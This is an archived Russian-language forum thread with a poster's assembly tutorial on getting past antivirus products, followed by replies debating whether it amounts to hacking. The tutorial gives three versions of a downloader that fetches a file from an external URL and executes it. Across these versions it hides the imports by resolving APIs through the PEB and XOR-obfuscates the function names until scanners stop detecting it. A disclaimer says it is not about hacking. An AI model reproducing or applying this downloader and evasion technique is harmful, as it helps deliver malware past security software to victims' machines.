Архив - только для чтения | |
| Модератор форума: andycrowz |
| Форум Корзина форума Корзина [Разработка софта] Обход антивируса |
| [Разработка софта] Обход антивируса |
Доброго времени суток, уважаемые юзеры портала WoW JP. С сего дня появилась на свет новый пак тем, я их включил в мою новую серию [Разработка софта]. Каждые 3-4 дня будут появляться новые темы. Про старый пак [Халява] я не забыл (он включал в себя 6 тем с раздачами аккаунтов и дедикал серверов), его я продолжу позже.
Моя первая тема из этой линейки посвящена обходу современных антивирусных систем. *Для модераторов: содержание этой темы ни как не будет относиться к хакерству! Я здесь на примере покажу уязвимости современных антивирусов, я никого не призываю к использованию данного материала в своих корыстных целях, и я не хочу чтобы этот материал был использован для написания вирусов!* И так, это было лирическое отступление. Перейдем к самой теме. Писал я на языке Assembler т.к. в нем исходный код будет на порядок меньше, чем, например, в Си (С++) Сначала я написал простейшую программу для автоматической загрузки и открытия любого exe файла (или любого другого формата) Code .386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm uselib kernel32, user32, urlmon, shell32 .code start PROC invoke URLDownloadToFile, 0, chr$("http://rghost.ru/41480046"), chr$("hello_world.cpp"), 0, 0 invoke ShellExecute, 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start Сразу после сборки антивирус удалил эту программу из-за функций URLDownloadToFileA и ShellExecuteA. В таком виде программа ни как не защищена, поэтому сразу при прочтении файла антивирус помечает его как Trojan.Downloader. Далее, чтоб избежать это, мы скроем имена этих функций из таблицы импорта, дабы антивирус искал их имена через PEB. PEB - это недокументированная структура Windows, которая выдается каждому процессу системы. Так же мы будем использовать макросы, которые легко делаются в сие языке. Наша программа принимает такой вид Code .386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include no_import.asm uselib kernel32, user32 .code start PROC noimport_invoke_load chr$("URLDownloadToFileA"), chr$("urlmon.dll"), 0, chr$("http://rghost.ru/41480046?12"), chr$("hello_world.cpp"), 0, 0 noimport_invoke_load chr$("ShellExecuteA"), chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start Объясняю: через PEB мы ищем адрес ядра (kernel32.dll), парсим его таблицу экспорта до тех пор, пока не найдем функцию GetProcAddress, а с ее помощью получаем адрес функции LoadLibraryA. Этих двух функций нам вполне достаточно для получения адресов всех необходимых нам функций в любых библиотеках. В коде мы это реализовали с помощью макросов и функции noimport_invoke_load Code include \masm32\include\windows.inc include \masm32\macros\macros.asm include no_import.asm uselib kernel32, user32 Теперь у программы всего один импорт - ExitProcess. После этого действия такие антивирусы, как Avast и NOD32 перестали считать данное приложение вирусом и дали ему открыться. Но антивирусы Dr.Web, Kaspersky и Norton продолжали определять его как троян. Почему? В коде присутствуют строки URLDownloadToFileA и ShellExecuteA и поэтому они уже распознают программу как вирус. Теперь, чтобы покорить остальные антивирусы, я решил зашифровать сие функции. И для этого я буду использовать WinAPI функции, дабы они мало известны. Наша программа принимает следующий вид Code .386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include no_import.asm uselib kernel32, user32 .code string_coder PROC data:DWORD LOCAL buf[16]:BYTE invoke lstrlen, data mov esi, data mov edi, eax next_sym: .if edi > 0 invoke SetLastError,0 invoke QueryDosDevice, chr$("C:"), addr buf, 5 .if eax == 0 invoke GetLastError and al,0Fh dec al xor byte ptr [esi],al inc esi dec edi jmp next_sym .endif .endif mov eax, data ret string_coder ENDP start PROC LOCAL funcname:DWORD noimport_call_prepare .data fname db "\[EMf~gefhm]fO`elH",0 .code mov funcname, FUNC(string_coder,offset fname) noimport_invoke_load funcname, chr$("urlmon.dll"), 0, chr$("http://http://rghost.ru/41480046?12"), chr$("hello_world.cpp"), 0, 0 mov funcname, FUNC(string_coder,chr$("ZaleeLqlj|}lH")) noimport_invoke_load funcname, chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.cpp"), 0, 0, SW_SHOWNORMAL invoke ExitProcess, 0 start ENDP end start Теперь по порядку. Добавилась процедура string_coder, принимающая единственный параметр - указатель на строку, которую необходимо расшифровать или зашифровать. Так как я использую операцию xor для шифрования, функция обратима: прогнали ей один раз строку - получили зашифрованную, прогнали второй - расшифровали. Тут все дело в том, что я предал функции вполне "легальные" параметры, которые не будут замечаться антивирусами. После всех этих преобразований ни один антивирус не помещает ходу выполнения функций программы На сегодня все, ждите следующих тем. Если Вы хотите чтобы я что-то конкретное сделал - пишите в этой теме. Так то я буду сам выбирать, о чем писать. Все выше написанное я делал сам. При копировании материала указывать сайт wowjp.net |
Quote (data777) Для модераторов: содержание этой темы ни как не будет относиться к хакерству! Я здесь на примере покажу уязвимости современных антивирусов, я никого не призываю к использованию данного материала в своих корыстных целях, и я не хочу чтобы этот материал был использован для написания вирусов!* Запрещается ОБСУЖДЕНИЕ способов взлома.
Kamino>Simon
Сообщение # 2 написано 10.11.2012 в 22:17
|
karambos, при открытии той программы, которую я написал, будет автоматически закачан и открыт файл hello_world.cpp который выводит на экран фразу Hello, world! теперь объясни, где вред компьютеру? Может вред то, что антивирус позволит открыть эту программу?
Думай, прежде чем ляпнуть. |
Quote (data777) Я показывал уязвимости антивирусов. Показывал способ обхода антивируса. Quote (karambos) обход антивируса = умышленные действия , а антивирус = защита компьютера , взлом защиты = нанесение вреда компьютеру.
Kamino>Simon
Сообщение # 25 написано 10.11.2012 в 22:47
|
Очень познавательная статейка, спасибо, можно сказать, "руководство по созданию криптора" :), но и здесь есть свою нюансы.
Quote (data777) использовать WinAPI функции, дабы они мало известны Вот они как раз в первую очередь и известны антирирусам, ибо сам антивирус по определению подразумевает мониторинг Апи функции в программе и блокировку подозрительных, "по его мнению". Ни одна программа, которая работает с сетью просто не может работать без использования внутренних апи функций работы с сетью, которые антивирус тестирует в песочнице, прежде, чем распознать в ней вирус. И кодирование функция вряд ли чем-то поможет, ибо их он может воспринять, как попытку шифровки кода, именно поэтому сейчас существует так много крипторов, антивирусы совершенствуются, алгоритмы тестирования программ тоже не стоят на месте, так что актуальность у этой статьи будет не долгой.
Сообщение # 28 написано 10.11.2012 в 22:51
|
TesCommunity, С одной стороны да, но я не буду же стоять на месте
По мере усовершенствования антивирусов, я буду внедрять новые технологии для актуальности этой статьи. karambos, С тобой разговор окончу, можешь дальше тут писать одно и тоже.
Сообщение # 29 написано 10.11.2012 в 22:55
|
Quote (data777) karambos, при открытии той программы, которую я написал, будет автоматически закачан и открыт файл hello_world.cpp который выводит на экран фразу Hello, world! теперь объясни, где вред компьютеру? Может вред то, что антивирус позволит открыть эту программу? Думай, прежде чем ляпнуть. прикрывай уже свою лавочку....пока её высшие силы не прикрыли
Сообщение # 30 написано 10.11.2012 в 23:21
|
| |||
